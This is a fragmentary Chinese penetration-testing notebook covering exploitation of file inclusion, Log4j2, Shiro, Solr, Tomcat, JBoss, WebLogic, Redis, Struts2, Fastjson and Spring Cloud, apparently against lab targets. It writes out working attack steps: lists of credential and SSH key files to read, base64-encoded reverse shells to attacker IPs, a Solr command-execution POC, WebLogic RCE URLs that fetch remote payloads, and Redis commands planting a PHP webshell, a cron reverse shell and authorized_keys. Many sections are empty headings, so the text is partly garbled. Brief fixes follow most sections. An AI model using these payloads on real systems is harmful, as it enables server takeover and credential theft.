3. 下载web业务文件进行白盒审计,利用漏洞进一步攻入服务器 尝试读取/root/.bash_hitory 看自己是否具有root权限。
如果没有就只能按部就班的利用 ../ 来回跳转读取一些 .ssh 下的配置信息文件,读取 mysql 下的 .bash_history 文件。来查看是否记录了一些可以利用的相关信息。然后逐个下载我们需要审计的代码文件,但是下载的时候变得很繁琐,我们只能尝试去猜解目录,然后下载一些中间件的记录日志进行分析。
如果我们遇到的是java+oracle环境, 可以先下载 /WEB-INF/classees/applicationContext.xml 文件,这里面记载的是web服务器的相应配置,然后下载 /WEB-INF/classes/xxx/xxx/ccc.class 对文件进行反编译,然后搜索文件中的 upload 关键字看是否存在一些 api 接口,如果存在的话我们可以本地构造上传页面用 api 接口将我们的文件传输进服务器
如果具有 root 权限 在linux中可以使用 locate 命令来查找文件或目录,它不搜索具体目录,而是搜索一个数据库 /var/lib/mlocate/mlocate.db。这个数据库中含有本地所有文件信息。Linux系统自动创建这个数据库,并且每天自动更新一次。当我们不知道路径是什么的情况下,这个可以说是个核武器了,我们利用任意文件下载漏洞 mlocate.db 文件下载下来,利用 locate 命令将数据输出成文件,这里面包含了全部的文件路径信息。 locate 读取方法:locate mlocate.db admin //可以将 mlocate.db 中包含 admin 文件名的内容全部输出来
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
过滤".",使用户在url中不能回溯上级目录
正则严格判断用户输入参数的格式
php.ini配置open_basedir限定文件访问范围
开发人员为了使代码更加灵活,将被包含的文件设置为变量,来实现动态调用,如果用户可以控制这个变量且服务器没有做输入校验或校验可被绕过,就导致了开发人员希望以外的文件被包含,造成了文件包含漏洞
几乎所有的脚本语言中都提供文件包含的功能,但文件包含漏洞在PHP中居多,而在JSP\ASP\ASP.NET程序中非常少,甚至没有文件包含漏洞的存在。
Include()
include_once()
require()
require_once()
highlight_file() / show_source()
readfile() / file_get_contents()
fopen()
通过 file:// 包含
payload
前提
allow_url-fopen = off/on
allow_url_include = off/on
作用
data://
条件
allow_url_fopen = on
allow_url_include = on
作用
用法
date://text/plain
data://text/plain;base64
payload
通过 php:// 包含
前提
llow_url_fopen = off/on
llow_url_include 仅php://input 、php://stdin php://memory、 php://temp 需要on
作用
php:// 伪协议有很多用法,常用的就是 php://filter 用于读源码 php://input 用于执行php代码
php://filter
参数简介
resource=<要过滤的数据流>
read=<读链的过滤器>
write=<写链的过滤器>
任何没有以 read= 或 write= 做前缀的筛选器列表会视情况应用于写或读链
转换过滤器: convert.base64-encode base64编码 convert.base64-decode base64解码
payload
php://input
此协议需要 allow_url_include = on,可以访问请求的原始数据的只读流,将POST请求中的数据作为PHP代码执行。 当传入的参数作为文件名打开时,可以将参数设为php://input,同时POST想设置的文件内容,php 执行时会将post内容当做文件内容
payload
用法
输入file=php://input,然后使用bp抓包,写入php代码
发送报文,可以看到本地生成了一句话木马,shell.php
通过 Zip:// & zlib:// 包含
前提
allow_url_fopen = off/on
allow_url_include = off/on
作用
payload
通过 phar:// 包含
phar://协议与zip://类似,同样可以访问zip格式压缩包内容。
条件
allow_url_fopen = off/on
allow_url_include = off/on
有特殊字符一定要转化为base64
注意:只有在allow urlinclude为on的时候才可以使用,在C:\php\php-5.2.14-Win32下找到php.ini打开,查找disable_functions =proc-open,oppen,exec,system…….删掉system重启apache
包含日志文件
截断包含(%00)
不同协议绕过
http/https
File
php
ssh2
1、使用str_replace等方法过滤掉危险字符
2、配置open_basedir,防止目录遍历(open_basedir 将php所能打开的文件限制在指定的目录树中)
3、php版本升级,防止%00截断
4、对上传的文件进行重命名,防止被读取
5、对于动态包含的文件可以设置一个白名单,不读取非白名单的文件。
6、做好管理员权限划分,做好文件的权限管理,allow_url_include和allow_url_fopen最小权限化
基于"分组"(block) 进行操作,根据算法的不同,每个分组的长度可能不同
代表有 DES、3-DES、Blowfish、IDEA、AES等
每次只处理一个字节,密钥独立于消息之外,两者通过异或实现加密与解密
代表有 RC4、ORYX、SEAL
简介
加密和解密用到的密钥是相同的,这种加密方式加密速度非常快,适合经常发送数据的场合。缺点是密钥的传输比较麻烦
从程序的角度看,所谓加密,就是这样一个函数: 它接收密码和明文,然后输出密文: secret = encrypt(key, message); 而解密则相反,它接收密码和密文,然后输出明文: plain = decrypt(key, secret);
代表加密算法
AES
支持的工作模式有:ECB/CBC/PCBC/CTR/...
DES
支持的工作模式有:ECB/CBC/PCBC/CTR/...
IDEA
支持的工作模式有:ECB
简介
代表加密算法
RSA 、ECC等
两者的区别
加密和解密过程不同
加密解密速度不同
传输的安全性不同
常见的加密方式有ECB、CBC、CFB、OFB、CTR等
ECB与CBC模式的区别:ECB模式只进行了加密,而CBC模式则在加密前进行了一次XOR
电码簿模式,是最简单的一种加密模式,它将明文分为若干个组(block),每个分组之间相对独立的与key进行加密运算,最后将密文组合起来。
但它最大的问题也就出在这种分组的独立性上: 对于ECB模式来说,改变分组密文的顺序,将改变解密后的明文顺序;替换某个分组密文,解密后该对应分组的明文也会被替换,而其他分组不受影响
综上当需要加密的明文多于一个分组的长度时,应该避免使用ECB模式
Cipher Block Chaining 模式(密文分组连接模式),首先将密文分成若干组之后,第一个分组与初始向量(IV)进行XOR运算(异或运算),然后进行加密,下一分组与前一个密文进行XOR运算,然后再进行加密,直至所有分组加密完成
确保互联网安全的通信协议之一SSL/TLS,就是使用CBC模式来确保通信机密性的,如使用CBC模式三重DES的3DES_EDE_CBC以及CBC模式256比特AES的AES_256_CBC等
向量必须是一个与密钥长度相等的数据
由于在加密前和解密后都会做异或运算,因此我们的明文可以不用补全,不是16个字节的倍数也可以,CBC中会自动用0补全进行异或运算
在解密时是解密后才会再做异或运算,保证数据解密成功
由于自动进行了补全,所以解密出的数据也会在后面补全0,因此获取到数据时,需要将末尾的0去除,或者根据源数据长度来截取解密后的数据
如果明文不是128位(16字节)的则需要填充,即在明文某个地方补充到16个字节整数倍的长度,加解密时需要采用同样的填充方式,否则无法解密成功
不进行填充,但是这里要求明文必须要是16个字节的整数倍,这个可以使用者本身自己去实现填充 除了该种模式以外的其他填充模式,如果已经是16个字节的数据的话,会再填充一个16字节的数据
在明文的末尾进行填充,填充的数据是当前和16个字节相差的数量 最后一个字节肯定为填充数据的长度,所以在解密后可以准确删除填充的数据
填充前
填充后
PKCS7和PKCS5的区别就是数据分块的大小(就是这么简单)
PKCS5填充块的大小为8bytes(64位)
PKCS7填充块的大小可以在1-255bytes之间
Key length
指的是密钥的长度,一般有 AES128、AES192、AES256 (128,192,256位)
128位对应的是16个字节,所以部分平台库上,会使用16个字符或者长度为16的字符串来做密码。
key
IV(向量)
mode(加密模式)
padding(填充模式)
国家密码局认定的国产密码算法。 主要有 SM1,SM2,SM3,SM4。密钥长度和分组长度均为 128 位
SM1:为对称加密,其加密强度与 AES 相当。该算法不公开,调用该算法时,需要通过加密芯片的接口进行调用。
SM2:为非对称加密,基于 ECC。该算法已公开。由于该算法基于 ECC,故其签名速度与秘钥生成速度都快于 RSA。ECC 256位(SM2 采用的就是 ECC 256 位的一种)安全强度比 RSA 2048 位高,但运算速度快于RSA。
SM3:SM3 消息摘要。可以用 MD5 作为对比理解。该算法已公开。校验结果为 256 位。
SM4:SM4 无线局域网标准的分组数据算法。对称加密,密钥长度和分组长度均为128位。
非对称加密
摘要算法
对称加密
公钥64字节 私钥32字节
16字节
长度小于1374亿字节
无要求
分组长度16字节,需要填充到16字节整数倍。 有CBC和ECB两种模式,CBC需要设定初始值
输出长度是明文长度+96, 有随机数参数,每次密文不同
固定长度,32字节
长度为16字节的整数倍
SM2算法和RSA算法都是公钥密码算法,SM2算法与RSA算法不同的是,SM2算法是基于椭圆曲线上点群离散对数难题,相对于RSA算法,256位的SM2密码强度已经比2048位的RSA密码强度要高
通常银行测试 弱加密 时要求使用此算法
密钥管理中最常见的错误,就是将密钥硬编码在代码里。 这个问题一般发生在测试阶段,开发图方便把密钥编码在代码里,在上线时忘记删除了,造成了密钥的泄露
代码被广泛传播
这种泄露途径常见于一些开源软件; 有的商业软件并不开源,但编译后的二进制文件被用户下载,也可能被逆向工程反编译后,泄露硬编码的密钥
可以通过 Diffie-Hellman 交换密钥体系,生成公私钥来完成密钥的发放,来解决
密钥可以被所有开发人员接触
软件开发团队的成员都能查看代码,从而获知硬编码的密码。开发团队的成员如果流动性较大,则可能会由此泄露
只能通过改善密钥管理来保护密钥
将密钥(包括密码)保存在配置文件或者数据库中,在使用时由程序读出密钥并加载进内存。密钥所在的配置文件或数据库需要严格的控制访问权限,同时也要确保运维或DBA中具有访问权限的人越少越好
定期更换密钥
一个比较安全的密钥管理系统,可以将所有密钥(包括一些敏感配置文件)都集中保存在一个服务器上,并通过 web service 的方式提供获取密钥的API。每个Web应用在需要使用密钥的时候,通过带认证信息的API请求密钥管理系统,动态获取密钥。 Web 应用不能把密钥写入本地文件中,只加载到内存,这样动态获取密钥最大程度的保护了密钥的私密性。 密钥集中管理,降低了系统对于密钥的耦合性,也有利于定期更换密钥
介绍
利用方法
方法1:通过中间人攻击方式(劫持、嗅探等)获取未加密的敏感数据
方法2:根据web用户登陆页面,直接进行暴力破解用户信息。
防御方法
方法1:使用正规的ca机构颁发的https证书
方法2:采用非对称加密方式(不可逆的加密方式)
破解前一定要有一个有效的字典 top100 top2000 csdn QQ 163等密码
判断用户是否设置了复杂的密码 主要看注册的时候网站如何要求密码格式
网站是否存在验证码
尝试登录的行为是否有限制
网站是否有双因素认证、Token值等 双因素认证:密码+手机验证码
基于表单的暴力破解
基于验证码的暴力破解
客户端绕过 on_client 常见问题
不安全的前端js实现验证码
不安全的将验证码在cookie中泄露
不安全的将验证码的前端源代码中泄露
服务端绕过 on_server常见问题
验证码使用后在后台没有被销毁,导致长期使用(php默认session是24分钟过期)
验证码校验不严格,逻辑出现问题
验证码设计的太过简单和有规律的被破解
弱验证码识别攻击
基于Token破解
强制要求输入验证码,否则必须实施IP策略 注意不要被X_Porwaded_For绕过了
验证码只能用一次,用完立即过期,不能再次使用
验证码不要太弱。 扭曲、变形、干扰线条、干扰背景色、变换字体等
大网站最好统一安全验证码,各处使用同一个验证码接口
原理
此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行。
最终解释
Log4j2反序列化漏洞主要是由JNDI注入造成的,它的 JNDI 注入漏洞主要存在于 JndiLookup.class 和 jndiManager.class 这两个类中。其中 JndiManager.class 定义了如 lookup() 这种处理 JNDI 相关操作的方法,lookup() 接受用户提供的 JNDI URL 作为了输入参数并返回处理结果。攻击者就可以构造恶意的 JNDI URL,将JNDI引用和待执行的远程代码等信息合并起来,在log4j 解析恶意 URL 时就会触发任意代码执行
JNDI是Java Naming and Directory Interface(JAVA命名和目录接口)的英文简写,它是为JAVA应用程序提供命名和目录访问服务的API(Application Programing Interface,应用程序编程接口)。
RMI (Remote Method Invocation) 即远程方法调用,是Java中一种基于对象的分布式程序设计模型。通过RMI机制,可以让客户端应用程序像调用本地方法一样直接调用另外一个JVM上运行的远程对象中公开的方法,而无需了解网络编程、机器地址和具体传输协议的细节,从而使得分布式应用程序的开发变得更加容易。
JNDI URL 是一种特殊的URL格式,它通常用于访问JNDI数据库或其他外部资源。在Log4j2漏洞中,攻击者利用恶意 JNDI URL ,将自己构造的可控对象绑定到了JNDI目录项,从而导致反序列化漏洞。 实例如后方展开
java:comp/env/jdbc/MyDataSource
java: 表示Java命名和目录接口(Java Naming and Directory Interface, JNDI)。
comp/env 表示要查找JNDI上下文的根路径,即Context环境。
jdbc 表示目标资源类型,这里是JDBC数据源。
MyDataSource 表示JNDI名称,即目标资源在JNDI中的名称。
被我淘汰的解释,仅供参考
由于Log4j2 组件在处理程序日志记录是存在 JNDI 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发 Log4j2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
log4j2框架下的 lookup 提供了${} 字段解析的功能,攻击者通过构造的恶意java序列化数据包,在使用日志功能时触发了它的反序列化过程,传入的 payload 被直接解析并执行,从而成功供给系统
漏洞验证(判断是否存在)
靶场vulhub
构造的pyload: cores?action=${jndi:ldap://${sys:java.version}.i913n8.ceye.io}
对action参数传参,其中sys:java.version查看目标java版本,deye.io为dnslog地址
ceye.io 是一个检测外带数据的平台
存在JNDI注入那么ldap服务端会执行我们传上去的payload然后在ceye.io那里留下记录,我们可以看到留下了访问记录并且前面的参数被执行后给我们回显了java的版本号
漏洞复现
需要用到一个GitHub上的工具
利用整体步骤:
1.生成shell,并将shell编码成base64
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.0.104"
bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1 例如:bash -i >& /dev/tcp/192.168.0.104/4444 0>&1 然后将其base64编码
参数说明:base64编码反弹shell脚本。-A参数接vps地址
2.利用jndi工具得到注入pyload
3.利用nc监听shell端口
4.发送生产的pyload
5.得到shell
修复方法
及时升级
紧急缓解措施
移除 JndiLookup 插件:禁用JndiLookup插件可以有效防御反序列化漏洞
移除JMS支持: 如果应用程序不需要JMS支持,则可以将相关组件删除或停用,以避免漏洞利用。具体地,可以将log4j-jms-appender-2.x.x.jar从应用程序中删除或停用JMS相关代码。
漏洞原理
漏洞影响
漏洞指纹
1. set-cookie:rememberMe=deleteMe
2. URL中有shiro字样
利用技巧
1. 该漏洞需要登录后获取到合法的Cookie: rememberMe=XXX后才可以进行利用, 看起来不是很好利用 但实际上有一些网站是开放注册的, 而且这个洞不需要知道服务端密钥 所以后续的利用还是可以同Shiro-550一样利用, 而且这里是AES加密的, 自带过WAF属性 ;
2. 如果攻击没有生效, 可以试一下删除Cookie中的JSESSIONID 字段, 很多时候这个字段存在的话, 服务端不会去处理 rememberMe。
防范方法
1. 升级shiro版本
2. 修改文件中硬编码的密钥
3. 临时防范建议:
a.在安全设备尝试拦截爆破流量,及时阻止攻击者进行尝试性攻击
b.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上
c.WAF拦截Cookie中长度过大的rememberMe值
d.WAF拦截访问过于频繁的IP, 因为该漏洞需要爆破Cookie
远程命令执行RCE
solr 简介
漏洞详情
漏洞影响
漏洞利用
命令执行
1. 新建一个 listener ,将 "exe" "dir" "args" 内容可以通过 http 的方式传入
2. 更新一下操作,修改post包,触发前面的命令
反弹 shell
同上,只是传入的命令换了
POC: POST /solr/demo/update HTTP/1.1 Host: your-ip Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 15 [{"id":"test"}] # 即可反弹成功
POC POST /solr/demo/config HTTP/1.1 Host: your-ip Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 158 {"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c","bash-i>&/dev/tcp/ip/port0>&1"]}}
修复方案
升级更高版本
添加Solr访问控制,包括禁止本地直接未授权访问
修改相关java文件
远程命令执行XXE
CVE-2017-12629
漏洞详情
影响版本
漏洞利用
1. 在另一台服务器web站点下创建一个.dtd文件
2. 构造payload后将特殊符号进行url加密
3. 最终的payload
修复方案
升级更高版本
添加Solr访问控制,包括禁止本地直接未授权访问
修改相关java文件
未授权上传
CVE-2020-13957
漏洞详情
影响版本
Apache Solr 6.6.0 -6.6.5
Apache Solr 7.0.0 -7.7.3
Apache Solr 8.0.0 -8.6.2
修复方案
反序列化漏洞
Shiro-550 存在java反序列化 (2020)
攻击特征
漏洞影响
漏洞原理
漏洞利用的是cookie里的 rememberMe 参数,这个参数的值是AES加密再base64之后设置在cookie中的。在服务端对rememberMe的cookie值的操作应该是先base64解码,然后AES解密,再反序列化,
问题的关键在于,AES加密的密钥就在源代码里边,AES是对称加密,所以加密密钥就是解密密钥。攻击者只要得到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化、AES加密、Base64编码,然后将其作为cookie的 RememberMe 字段发送,Shiro 将 其进行解密并反序列化,最终造成反序列化漏洞
防范方法
1. 升级shiro版本
2. 修改文件中硬编码的密钥
3. 临时防范建议:
a.在安全设备尝试拦截爆破流量,及时阻止攻击者进行尝试性攻击
b.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上
c.WAF拦截Cookie中长度过大的rememberMe值
d.WAF拦截访问过于频繁的IP, 因为该漏洞需要爆破Cookie
解析漏洞
漏洞成因
漏洞利用
漏洞修复
目录遍历
漏洞成因
利用方法
漏洞修复
Options+Indexes+FollowSymlinks+ExecCGI 修改成 Options-Indexes+FollowSymlinks+ExecCGI 并保存Tomcat简介
Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持,并提供了作为Web服务器的一些特有功能,如Tomcat管理和控制平台、安全域管理和Tomcat阀等。由于Tomcat本身也内含了一个HTTP服务器,它也可以被视作一个单独的Web服务器。
重要文件
server.xml:配置tomcat启动的端口号、host主机、Context等
web.xml文件:部署描述文件,这个web.xml中描述了一些默认的servlet。
tomcat-users.xml:tomcat的用户密码与权限。
任意写文件
漏洞详情
漏洞的本质是 Tomcat 配置了可写 (readonly=false),导致攻击者可以往服务器写文件
虽然 Tomcat 对文件后缀有一定的检测(不能直接写jsp),但是攻击者可以利用一些文件系统的特性(如 Linux 下可用"/") 来绕过限制
影响版本
漏洞利用
访问网站利用 burp 进行抓包,修改为后面的 payload
利用 Repeater 模块进行发送
直接访问jsp木马所在的网站路径,查看是否上传成功
使用冰蝎连接即可
CVE-2020-1938 AJP 文件包含漏洞
漏洞详情
影响版本
漏洞利用
利用脚本读取目标网站 web.xml 的源代码
运行命令 python tomcat.py read_file --wabapp=manager /WEB-INF/web.xml 192.168.31.128
弱口令文件上传war包
漏洞详情
影响版本
漏洞利用
Tomcat 权限管理
后台管理权限
manager-gui 拥有html页面权限
manager-status 拥有查看status的权限
manager-script 拥有text接口的权限,和status权限
manager-jmx 拥有jmx权限,和status权限
虚拟主机管理
admin-gui 拥有html页面权限
admin-script 拥有text接口权限
在conf/tomcat-users.xml文件中配置用户的权限
在 manager APP 利用弱口令进入后台 tomcat/tomcat
进入后台后再 War file to deploy(war 文件部署) 上传 war 包 上传后 tomcat 会自动解压到 web 目录下,注意包名不要是 shell getshell 等,会被过滤的
访问路径
利用冰蝎进行连接
Jboss反序列化
下载的工具进行检测 java -jar DeserializeExploit.jar
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
原理:Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器进行任何安全检查的情况下将来自客户端的数据流进行反序列化
访问地址:http://192.168.1.102:8080/ 及 http://192.168.1.102:8080/invoker/readonly 返回500说明漏洞存在
下载漏洞利用工具反弹shell: http://scan.javasec.cn/java/JavaDeserH2HC.zip
JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
原理:根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制
还是用工具反弹shell
JBoss远程部署漏洞
原理:后端未对用户可控参数做严格的过滤
危害:导致任意命令执行,入侵者可以利用此漏洞直接获取webshell,进而对整个服务器进行控制
反序列化
XML Decoder 反序列化漏洞 (CVE-2017-10271)
漏洞详情
影像版本
漏洞复现
可能存在漏洞的路径
漏洞验证
POC
Weblogic未授权访问-CVE-2020-14882 && 命令执行-CVE-2020-14883
漏洞详情
影响版本
漏洞复现
未授权POC
通过问未授权访问到管理后台页面,利用第二个命令执行漏洞(cve-2020-14883)
命令执行
方法一
一是通过 com.tangosol.coherence.mvel2.sh.ShellSession()
http://vlunip:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22)
方法二
二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext() 反弹shell
http://vlunip:7001/console/images/%252E%252E%252F/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("[http://192.168.190.1:8000/linux.xml")
在攻击机上开启 http 服务,并在其目录下建立一个xml文件,文件内容如下
Linux shell
Windows shell
nc监听4444端口
通过上面的请求访问 攻击机的 shell.xml 文件,即可反弹成功
SSRF 漏洞 (需要安装Weblogic时选择UDDI组件)
漏洞详情
影响版本
漏洞复现
直接访问漏洞url http://192.168.190.136:7001/uddiexplorer/SearchPublicRegistries.jsp
填写表单,点击search,使用burp抓包,发送到重放模块,更改 operator 可以探测内网主机信息
测试172.22.0.11主机 返回 No route to host 表示主机不存在
尝试 http://172.22.0.2:7001 返回 ‘1’ addresses, but could not connect over HTTP to server: ‘172.22.0.2’, port: ‘7001’ 表示172.22.0.2主机存在,但是7001端口不存在
返回404表示7001端口开放
返回 Received a response from url 表示端口开发
如果上一步探测出了 6379 Redis 服务,可以尝试定时任务反弹shell
写入 Redis 脚本
将上述payload 进行 url编码
发送payload触发反弹shell连接 192.168.190.1:4444
漏洞修复
1. 将SearchPublicRegistries.jsp直接删除就好了
2. 删除 uddiexplorer 文件夹 限制 uddiexplorer 应用只能内网访问
弱口令
登录地址
weblogic/weblogic weblogic/Oracle@123
搭配文件上传getshell
一次选择部署-》安装-》上载文件
上传 qwerty.war包
依次点击下一步至完成部署安装
冰蝎连接 http://ip:port/qwerty/qwerty.jsp
漏洞修复
PUT漏洞
漏洞成因
漏洞利用
漏洞修复
短文件名猜解
漏洞成因
漏洞利用
漏洞修复
1. 升级 .net framework(框架)
2. 修改注册表禁用短文件名功能
解析漏洞
漏洞成因
IIS6.0 在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞,这一漏洞有两种不同的利用方式 /test.asp/test.jpg 或 test.asp:.jpg
第一种的 test.asp 目录中的所有文件都会被当作asp 程序执行
第二种的后缀虽然是 .jpg 但是由于 特殊符号“;”的存在,仍会被IIS当作asp程序执行
漏洞修复
1. 对新建目录文件名进行过滤,不允许新建包含 “ . ” 的文件
2. 取消网站后台新建目录的权限,不允许新建目录
3. 限制上传的脚本执行权限,不允许执行脚本
4. 过滤 .asp/xm.jpg ,通过ISAPI组件过滤
15年(MS15-034)HTTP.sys 远程执行代码漏洞
漏洞详情
漏洞检测
漏洞利用
漏洞修复
临时
补丁
redis 简介
Redis未授权访问
漏洞详情
前提条件
攻击机上能用redis-cli连接,知道物理路径,具有文件增删改查的权限
protected-mode是Redis3.2版本新增的安全配置项,开启后要求需要配置bind ip或者设置访问密码,关闭后是允许远程连接 (配置靶场时需注意,修改protected-mode为no,关闭保护模式,允许远程连接redis服务)
漏洞利用
写入一句话
1. 通过kaliredis-cli.exe -h ip地址 -p6378 不接 -p 就是默认6379
2. 连入对方6379端口后依次执行下列命令 > config set dir /var/www/html # 设置待写入文件所在目录 > config set dbfilename shell.php > set webshell "\n\n\n<?php@eval($_POST['shell']);?>\n\n\n" > save
3. 直接连接 /shell.php 即可
定时任务反弹shell
1. kali建立一个监听端口 nc -lvnp 7999
2. 通过kaliredis-cli.exe -h ip地址 -p6379 不接 -p 就是默认6379
3. 连入对方6379端口后依次执行下列命令 > set x "\n* * * * * bash -i >& /dev/tcp/攻击机IP/7999 0>1\n" # 设置反弹语句 > config set dir /var/spool/cron/ # 设置待写入文件目录,linux计划目录 > config set dbfilename root # 修改备份文件名为root,以root身份执行计划任务 > save
Redis 密钥登录 ssh
漏洞详情
前提条件
漏洞利用
1. 攻击机上创建ssh-rsa密钥,也就是生成key,这里密码搞成空,全部默认即可
2. 将公钥导入key.txt,这里将密钥开头和结尾添加了一些\n是用于防止乱码
3. 将生成的公钥写入靶机服务器的内存之中
cat key.txt | redis-cli -h 192.168.190.128 -x set xxx
// -x 代表从标准输入读取数据作为该命令的最后一个参数。
4. 成功写入后,设置路径和保存的文件名,将内存变量导入磁盘文件
config set dir /root/.ssh
config set dbfilename authorized_keys
save
5. 在攻击机这里用ssh连接靶机,可成功连接
ssh -i id_rsa root@192.168.190.128
或者
ssh 192.168.190.128
远程主从复制 RCE
漏洞原理
漏洞影响
漏洞利用
redis-rogue-server工具下载地址:https://github.com/n0b0dyCN/redis-rogue-server
Awsome-Redis-Rogue-Server工具下载地址:https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
1. 执行反弹
2. 选择交互式的shell(interactive shell) 或者反弹shell(reserve shell),这里选择的是交互式 "i"
这部分的缺点就是只适用于目标机器允许远程登录的时候,如果目标机子只允许本地登录,则这种利用方法就不行了,此时可以配合其他漏洞,从目标本地登录redis。
本地Redis主从复制RCE反弹shell
漏洞原理
漏洞利用
1. 这里将redis-rogue-server-master的exp.so复制到Awsome-Redis-Rogue-Server的目录下使用,因为exp.so带system模块
2. kali开启监听,接受会话的反弹
3. 开启15000端口的主服务器
4. 靶机本机登录redis开启主从模式
5. 查看是否存在模块,可以看见目前没有可用模块
module list
config set dir /tmp
//一般tmp目录都有写权限,所以选择这个目录写入
config set dbfilename exp.so
//设置导出文件的名字
slaveof 192.168.190.128 15000
//进行主从同步,将恶意so文件写入到tmp目录
*
module load ./exp.so
//加载写入的恶意so文件模块
module list
//查看恶意so有没有加载成功,主要看有没有“system”
6. 反弹shel
7. 关闭主从复制
后续研究
安全防护
redis的安全设置:设置完毕,需要重加载配置文件启动redis
1.绑定内网ip地址进行访问
2.requirepass设置redis密码
3.保护模式开启protected-mode开启(默认开启)
4.最好把端口更改
5.单独为redis设置一个普通账号,启动redis。
S2-001 命令执行
漏洞详情
漏洞检测
漏洞利用
获取web路径,payload 见后方展开
命令执行 whoami,payload 见后方展开
命令执行 cat /etc/passwd,payload 见后方展开
S2-005 命令执行
漏洞详情
s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制 对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上
总结
漏洞利用
s2-007 命令执行
漏洞利用
在存在输入的地方输入 '+(1+1)+',提交之后变为 '11' 则存在漏洞
命令执行
在输入的地方输入payload即可,payload 见后方展开
s2-008
漏洞详情
漏洞利用
任意文件覆盖,payload 见后方展开
远程命令执行,payload 见后方展开
查询 ipconfig,payload 见后方展开
如何判断是否是 fastjson 呢
抓包看如果是json请求,可以尝试构造或破坏原有的 json 请求,从返回包里看是否有 fastjson 字样。 因为fastjson有一个严格的格式才能解析,否则会报错 如果没有报错回显,可以使用 dnslog 进行验证
可以通过后面的 payload 判断 fastjson 的版本信息
使用 dnslog 验证
反序列化
漏洞详情
漏洞前提
目标服务器存在 fastjson
没有对用户传输的数据进行严格过滤
漏洞利用
开启抓包确定是不是fastjson框架,通过修改请求包判断是否是fastjson框架 ,因为fastjson有一个严格的格式才能解析,否则会报错
准备一个恶意的类 rmi.class,文件内容见后方展开 使用javac编译 rmi.java文件 生成一个类文件 javac rmi.java
将类文件放到监听的服务器上,使用工具运行 rmi 文件 payload 见后方展开
修改数据包中的 post 请求主体
进行端口监听 nc -nvlp 6666
放包即可反弹成功
Spring Cloud 简介
Spring Cloud 是一个基于 Spring boot 的开发框架,用于构建和部署分布式系统的解决方案
Spring Cloud 是一个基于 Spring Boot 的开发框架,用于构建和部署分布式系统的解决方案。它提供了一组工具和框架,帮助开发人员快速构建云原生应用程序,并提供强大的服务治理、负载均衡、路由、配置管理等功能。Spring Cloud 能够简化微服务的开发和部署,提高开发效率和软件质量。
SpEL 远程代码执行漏洞(2022)
漏洞详情
漏洞原理
影响版本
漏洞利用
抓取数据包
将数据包修改为 POST /functionRuntime,并添加请求头 spring.cloud.function.routiong-expression,在其中添加java代码即可,注意执行 反弹 shell 的时候需要将其base64 编码,否则不能成功,实例 payload 见后方展开
漏洞修复
升级到最新版本的 Spring 框架
避免在应用程序中使用 SpEL 表达式或限制其使用。 尽可能使用静态绑定的方式去完成相应功能。
对于需要使用 SpEL 的场景,应该对输入进行严格检查和过滤,只接受规范的、可预测的输入。 在构造 SpEL 表达式时,不应直接将用户输入用作表达式的一部分,应该对输入进行严格验证和编码,以防止注入攻击。
禁用所有不必要的 SpEL 特性并限制 SpEL 允许的操作
原因
Nginx 配置 fastcgi 使用PHP时,会存在文件解析问题
